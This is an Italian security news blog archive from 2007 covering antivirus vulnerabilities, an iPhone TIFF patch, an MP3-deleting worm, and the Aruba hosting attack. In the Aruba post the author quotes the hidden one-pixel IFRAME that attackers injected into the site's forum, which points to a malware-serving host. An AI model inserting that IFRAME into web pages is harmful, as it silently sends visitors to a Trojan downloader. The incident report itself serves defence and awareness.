Category Archives: Virus & Spyware

Tutto ciò che ha a che fare con spyware, malware, virus… Info e trucchi su come evitarli e rimuoverli.

12.08.07
by

Aggiornamento di sicurezza per avast! antivirus

Alwil ha rilasciato di recente un aggiornamento per il proprio engine di scansione avast! in modo da correggere almeno due bugs di sicurezza.
L’engine antivirus utilizzato in versioni precedenti alla 4.7.1098 di avast! 4 Home e Professional edition è vulnerabile a potenziali attacchi che prendano di mira l’unpacker per file .tar e .rar.
Stando al report almeno nel caso della vulnerabilità riguardante i file .tar, aprire una mail “infetta” o visitare un sito appositamente modificato è sufficiente per incappare nel bug e vedere il proprio sistema compromesso.

Ad ogni modo gli utenti avast! dovrebbero aver già ricevuto la versione aggiornata 4.7.1098 attraverso il sistema di automatic update.
Detto questo, esistono pero’ altri software che utilizzano il motore avast! ma non è chiaro se utilizzino gli unpackers di avast! oppure i propri.
Un esempio sono GDATA AntiVirusKit 2007 e 2008 che utilizzano l’engine avast e sono di conseguenza anch’essi vulnerabili. Anche GDATA sta pensando di distribuire un aggiornamento tra il sistema di update automatico.

RIFERIMENTI:
* Security update for avast! anti-virus, by Heise Security
* Version 4.7.1098, avast! 4 Home/Professional revision history
* Avast! AntiVirus TAR Processing Remote Heap Corruption, security advisory from Nevis Labs

11.14.07
by

Apple patcha il bug dei file TIFF in iPhone

Apple ha rilasciato l’aggiornamento firmware 1.1.2 per l’iPhone e iPod Touch, che corregge le falle scoperte nella libreria TIFF, usate dai possessori di iPhone per eseguire codice di terze parti e personale.
Una volta installato da iTunes, l’aggiornamento impedisce l’esecuzione di codice di terze parti sfruttando files TIFF manipolati.
La falla è stata sfruttata in alcune occasioni da utenti malintenzionati per fare injection di codice arbitrario sul dispositivo.

Gli utenti iPhone desiderosi di far girare le proprie applicazioni personali dovranno attendere ora il rilascio del Software Development Kit (SDK), in programma per febbraio 2008.
Detto questo sono pero’ in circolazione su internet nei vari siti e forum dedicati, le istruzioni su come installare l’aggiornamento senza perdere la possibilità di far girare codice di terze parti (vedi Unofficial Apple Weblog).
L’aggiornamento è invece una priorità di sicurezza per tutti coloro che usano l’iPhone o l’iPod Touch per navigare su Internet.

LINKS:
– About the security content of iPhone v1.1.2 and iPod Touch v1.1.2 Updates, Apple’s security advisory
– Apple closes TIFF hole in iPhone, news by Heise Security

10.14.07
by

Vulnerabilità per il controllo ActiveX di Kaspersky Online Scanner

I Kaspersky Lab hanno rilasciato una versione aggiornata del proprio controllo ActiveX che viene installato sul pc degli utenti che usano il Kaspersky Online Scanner.
La nuova versione del componente (kavwebscan.dll) è la 5.0.98.0 e risolve alcuni bug critici che possono essere sfruttati per eseguire codice arbitrario, per esempio quando un ignaro utente sta visitando un sito web, appositamente modificato, con Internet Explorer.

Stando all’advisory pubblicato da iDefense, la vulnerabilità è dovuta ad errori format string in svariate funzioni del controllo.
L’esistenza di una vulnerabilità è stata confermata nella versione 5.0.93.0, ma è probabile interessi anche versioni precedenti.
Per controllare la versione installata sul proprio pc, è possibile controllare direttamente nella cartella
C:WINDOWSsystem32Kaspersky LabKaspersky Online Scanner
Nel caso la versione dell’ActiveX non venga mostrata direttamente nel filename è possibile, previo click col tasto destro sull’icona, analizzare il tab “Proprietà”.
Il consiglio è che chiunque utilizzi l’Online Scanner aggiorni immediatamente il controllo.
Per installare l’ultima versione è sufficiente lanciare lo scanner. Un’altra opzione è naturalmente quella di cancellare la dll vulnerabile.

LINKS:
– Kaspersky Lab announces the release of a new version of its free Kaspersky Online Scanner
– Kaspersky Web Scanner ActiveX Format String Vulnerability, iDefense Advisory
– Kaspersky Online Scanner installed vulnerable ActiveX control , by Heise-Security

08.03.07
by

Malware che cancella i file .mp3

E’ stato scoperto di recente un nuovo tipo di worm, che tenta di cancellare tutti i file MP3 che riesce a individuare all’interno del pc di un utente.
Per fare ciò il worm, chiamato W32/Deletemp3.worm (McAfee), W32.Deletemusic (Symantec) o Win32/AutoRun, si comporta in maniera molto simile a W32/Napir-B, che salì alla ribalta verso la metà del 2005.

Una volta infettato il sistema,Deletemp3, che è stato programmato in Delphi, si aggiunge nell’autostart di Windows in maniera da potersi riattivare ogni qualvolta il pc viene riavviato.
McAfee fa notare come, poichè i percorsi del programma sono fissi, il worm non funziona correttamente in Windows 2000.
Disattiva inoltre il Task Manager e il menu contestuale per le cartelle in Windows Explorer.
Fatto questo procede a cancellare tutti gli mp3 che individua sul disco.
Per propagarsi inoltre, Deletemp3 crea i files autorun.inf e csrss.exe su tutti gli eventuali hard-disk da E: a O:.
Con i dispositivi rimovibili infatti il malware viene eseguito in maniera automatica sfruttando l’autorun, ad esempio inserendo una chiavetta usb infetta.
Il livello di diffusione del virus è tuttavia molto basso e la maggior parte degli antivirus già dispongono delle firme per individuarlo.

LINKS:

07.25.07
by

Kaspersky anti-phishing zoppica

Questa mattina quando ho aperto iTunes per far partire alcuni .mp3 il buon vecchio KIS ha attivato il suo filtro anti-phishing segnalandomi che si stava tentando di instaurare una connessione con un sito http “malevole”.
Al che la cosa mi è sembrata strana. Sul primo momento ho pensato potesse trattarsi di un qualche malware che avesse infettato e “modificato” itunes, per cercare di fregare username e password degli utenti iStore.
In realtà la spiegazione è ben piu’ semplice: si tratta di un semplice falso positivo.
Infatti il mio passo successivo è stato andare a controllare sul forum di kasperksy se qualcuno aveva avuto problemi analoghi, visto comunque che il problema si è presentato oggi per la prima volta.
In effetti più di un utente ha postato a riguardo.
Relativamente al dubbio espresso da un utente riguardo al fatto che l’URL bloccato contenga la stringa “edgesuite.net” che farebbe pensare ad un ipotetico fake URL, posso solo dire che cercando su Google si legge come Edgesuite sia una delle tecnologie fornite da Akamai.
Per chi non conoscesse Akamai, si tratta di una società con una enorme rete di servers distribuita su tutto il pianeta in una settantina di paesi e che viene sfruttata da moltissime mega-aziende del calibro di Microsoft, Google, Yahoo e Apple appunto, per velocizzare la distribuzione di contenuti audio, video e file in generale.
In pratica i servers Akamai fanno da mirrors in maniera perfettamente trasparente all’utente, e cosi’ mentre siamo convinti di scaricare dal sito della Microsoft l’ultimo service pack, in realtà lo stiamo scaricando da uno dei servers Akamai sparsi in giro per il globo.
Qualche info in più su Akamai potete trovarla sul loro sito web e anche su Wikipedia.
Ecco qui l’immagine dell’allarme phising di KIS.

Phishing e Itunes

Detto questo si puo’ stare tranquilli, si tratta solo di aggiornare l’antivirus.
Alle ore 11.26 ho effettuato l’update e il problema non esiste più 😀
Un caso analogo di falso positivo mi era successo con Skype che dalla Difesa Pro-Attiva veniva individuato come keylogger.

07.16.07
by

Problemi di sicurezza per i software antivirus

I prodotti antivirus ClamAV e AVG contengono alcune vulnerabilità che possono essere sfruttate per eseguire attacchi di tipo DoS (Denial-of-Service) o consentire l’escalation di privilegi di utenti locali.
Nel frattempo, Microsoft ha rilasciato una beta gratuita del proprio prodotto di sicurezza Live OneCare 2.0.

Stando ad un advisory di Metaeye Security, il processing di file RAR corrotti comporta una null pointer dereference, che porta al crash del software ClamAV.
Gli sviluppatori del prodotto hanno rilasciato la versione 0.91, che fixa il bug.

Per quanto riguarda AVG, il kernel driver avg7core.sys soffre di problemi nella fase di processing degli IRPs (interrupt request packets): il risultato è la possibilità per gli utenti di sovrascrivere spazi di memoria del kernel ottenendo i privilegi di SYSTEM.
Il produttore Grisoft ha fornito delle versioni patchate già disponibili per il download in modalità manuale e automatica.

Nella versione OneCare 2.0 beta rilasciata da Microsoft c’è una particolare attenzione per le reti casalinghe. Mentre la versione 1.5 garantiva l’utilizzo di fino ad un massimo di 3 utenti concorrenti, la versione 2.0 fornisce una funzionalità che consente ad un computer di gestire anche tutti gli altri clients.
Questo per esempio consente di gestire in maniera centralizzata gli updates dei sistemi client, restando sempre aggiornati sulla status di sicurezza dei pc controllati.
Gli utenti del software inoltre possono comprare una spazio di storage online per salvare i propri backup in Windows Live Folders.

RIFERIMENTI:

  • Clam AntiVirus RAR File Handling Denial Of Service Vulnerability, security advisory by Metaeye Security
  • Arbitrary kernel mode memory writes in AVG, security advisory by NGSSoftware
  • Download of Microsoft’s Live OneCare 2.0 beta version
  • Download of the current ClamAV version
  • Security holes in antivirus software by Heise Security
    • 06.25.07
    by

    Arrestato in Spagna autore di virus per cellulari

    La polizia spagnola ha proceduto all’arresto di un 28enne sospettato di aver creato e distribuito un virus a più di 115.000 telefoni cellulari.
    Le agenzie di stampa spagnola riportano che la polizia era sulle tracce del sospetto da ben 7 mesi.
    Si tratta del primo arresto effettuato in Spagna con un’accusa di questo tipo.

    Stando agli investigatori il virus infetta unicamente cellulari con il bluetooth attivato e che montano un sistema operativo Symbian.
    Il virus sembra si diffondesse sotto forma di MMS dall’ipotetico contenuto erotico, o a seconda dei casi riportando informazioni sportive o addirittura del software antivirus.
    La polizia ha affermato che gli effetti del virus hanno provocato danni per circa sette milioni di euro.

    06.19.07
    by

    Server Aruba sotto attacco: siti web italiani nel mirino!

    In questi ultimi giorni sui blog e sui siti web più disparati, non si è fatto altro che parlare del massiccio attacco subito da numerosi siti web hostati su server Aruba.
    Il modus operandi rispecchia in pieno  quanto avvenuto  lo scorso mese per i sistemi di Hosting Solutions.
    L’intrusione ha infatti consentito a degli attacker di modificare le pagine web di svariati siti web inserendo un IFRAME che effettuasse il redirect degli utenti verso siti web contenenti malware.
    Di seguito riporto il link a tre articoli che spiegano molto bene l’accaduto:
    – Server Aruba sotto attacco, allarme in Italia
    – Possibile intrusione nei sistemi Aruba
    – L’italia sotto pesante attacco malware
    Dalle cose lette qui e in altre pagine sembra sia stato sfruttato un tool automatizzato per lanciare attacchi malware: il software in questione è chiamato MPACK.
    Panda Software ha pubblicato un interessantissimo report che analizza nel dettaglio questo tool: lo potete scaricare qui.

    Il problema ha interessato direttamente anche noi di TechTown. In particolar modo è stato colpito il forum con risultante inserimento del seguente frammento IFRAME:
    <iframe src=”http://zaq-home.org/x/index.php” width=”1″ height=”1″></iframe>
    Del problema mi son accorto grazie alla segnalazione di Kaspersky Internet Security che ha prontamente bloccato il tentativo di download di due malware, nella fattispecie due Trojan.Downloader.

    Trojan blocked by Kaspersky

    Acid ha rimosso il problema che sembra fosse dovuto ad una modifica nel campo templates del database del forum dove sembra sia stato aggiunto il codice, in particolare il board wrappers.
    Abbiamo proceduto anche  ad una verifica dei file dell’intero ftp e cercato di verificare se tutto fosse funzionante.
    Nel frattempo Aruba sembra non dire nulla a riguardo. Penso che una comunicazione via mail globale a tutti i propri utenti sarebbe stata cosa buona e giusta, per informare del possibile pericolo e del possibile coinvolgimento nell’attacco di questo o quel server anche in base alle tante segnalazioni degli utenti.
    Il consiglio è quello di tenere sempre l’antivir aggiornato, meglio se di quelli che hanno la funzionalità integrata di web protection.

    06.18.07
    by

    Possibile attacco DoS contro un driver Kaspersky

    I vari prodotti di sicurezza della nota casa Kaspersky lavorano a stretto contatto col sistema operativo, impiegando un driver che tra le altre cose monitora anche le chiamate di sistema di Windows. Il controllo sul passaggio di parametri effettuato dal driver non sembra essere però corretto: ciò apre la porta a possibile attacchi che sfruttando dati non validi portano al crash del sistema.
    Il security provider MatouSec, che ha segnalato il bug, lascia intendere che questa falla potrebbe essere ben più pericolosa di quanto sembri, alludendo a potenziali attacchi di tipo “code injection and execution“.

    I prodotti di sicurezza molto spesso si “agganciano” alle funzioni di sistema con lo scopo di monitorare lo stato di funzionamento ed esecuzione di una macchina.
    Mediante chiamate alla System Service Descriptor Table (SSDT) è possibile determinare quali programmi sono attivi sul computer e cosa stanno facendo: è possibile quindi prendere decisioni appropriate e interrompere per esempio l’esecuzione di un programma che abbia un comportamento “potenzialmente malevole”. Un’altra funzionalità importante è che questo consente di evitare che potenziale malware tenti di intaccare il comportamento dei software di sicurezza stessi.

    Il driver klif.sys si aggancia a svariate syscalls tra cui NtCreateKey, NtCreateProcess, NtCreateProcessEx, NtCreateSection, NtCreateSymbolicLinkObject, NtCreateThread, NtLoadKey2, NtOpenKey e NtOpenProcess.
    Se un programma effettua una chiamata ad una di queste funzioni con parametri non validi, il computer crasha e riparte.

    Un interessante post su RootKit.com di EP_XoFF spiega questa vulnerabilità (presumibilmente piuttosto datata) usando la funzione NtOpenProcess.
    Kaspersky ha reagito alle segnalazioni postando il proprio advisory di sicurezza e annunciando una patch che la compagnia distribuirà a breve tramite il sistema di automatic update.
    Kaspersky ha classificato la minaccia come “low”, poichè richiede che un utente locale esegua il software malevole.
    Stando all’advisory, la vulnerabilità non consentirebbe l’escalation di privilegi o l’esecuzione di codice esterno.
    Le versioni interessate dal problema sembrano essere: Kaspersky Antivirus 6 e 7, Internet Security 6 e 7, Anti-Virus for Windows Workstations 6 e Anti-Virus 6 for Windows Servers, per sistemi operativi da Windows NT a Windows 2003. Sotto Windows Vista sembra che il famigerato crash di sistema non si verifichi.

    Questo annunci conferma la crescente tendenza nella scoperta di bug che interessano software dedicati alla sicurezza. I bug scoperti negli antivirus di F-Secure, Grisoft e Avira (tra gli altri) sono legati a problemi di buffer overflows e format string vulnerabilities.
    Questi fenomeni per la maggior parte sono da imputare il più delle volte ad una carenza per i dettagli durante la fase di programmazione.
    Questo trend non lascia di certo ben sperare, è quindi auspicabile che ci sia un cambiamento di rotta, in virtù del fatto che software come personal firewall e antivirus sono la prima linea di difesa contro la diffusione su larga scala di malware e virus di ogni tipo.

    LINKS:

  • Kaspersky Multiple insufficient argument validation of hooked SSDT function Vulnerability, advisory di MatouSec
  • Exploiting Kaspersky Antivirus 6.0-7.0, bug report di EP_X0FF
  • KLV07-07.Klif.sys calling NtOpenProcess vulnerability, security advisory di Kaspersky
    • 06.10.07
    by

    Ad-Aware 2007 Free finalmente disponibile!

    E’ stata rilasciata il 7 giugno la nuova versione del famoso software per la rimozione di spyware e malware di casa Lavasoft.
    La nuova release targata Ad-Aware 2007 è disponibile in tre versioni: Free, Plus e Pro.

    Ad-Aware 2007 Free Edition Screenshot

    In breve le nuove caratteristiche più importanti:
    – Engine di scansione completamente nuovo: più preciso e più performante
    – Migliorata la tecnologia Code Sequence Identification (CSI) che identifica nuove possibili minaccie e malware nascosto
    – Cambiamenti al sistema di update per risparmiare tempo e risorse
    – Nuovo tool TrackSweep per cancellare le tracce lasciate durante la navigazione
    – Supporto a diversi browser: Internet Explorer, Firefox, e Opera.
    – Nuova interfaccia utente

    Link: Ad-Aware 2007 Free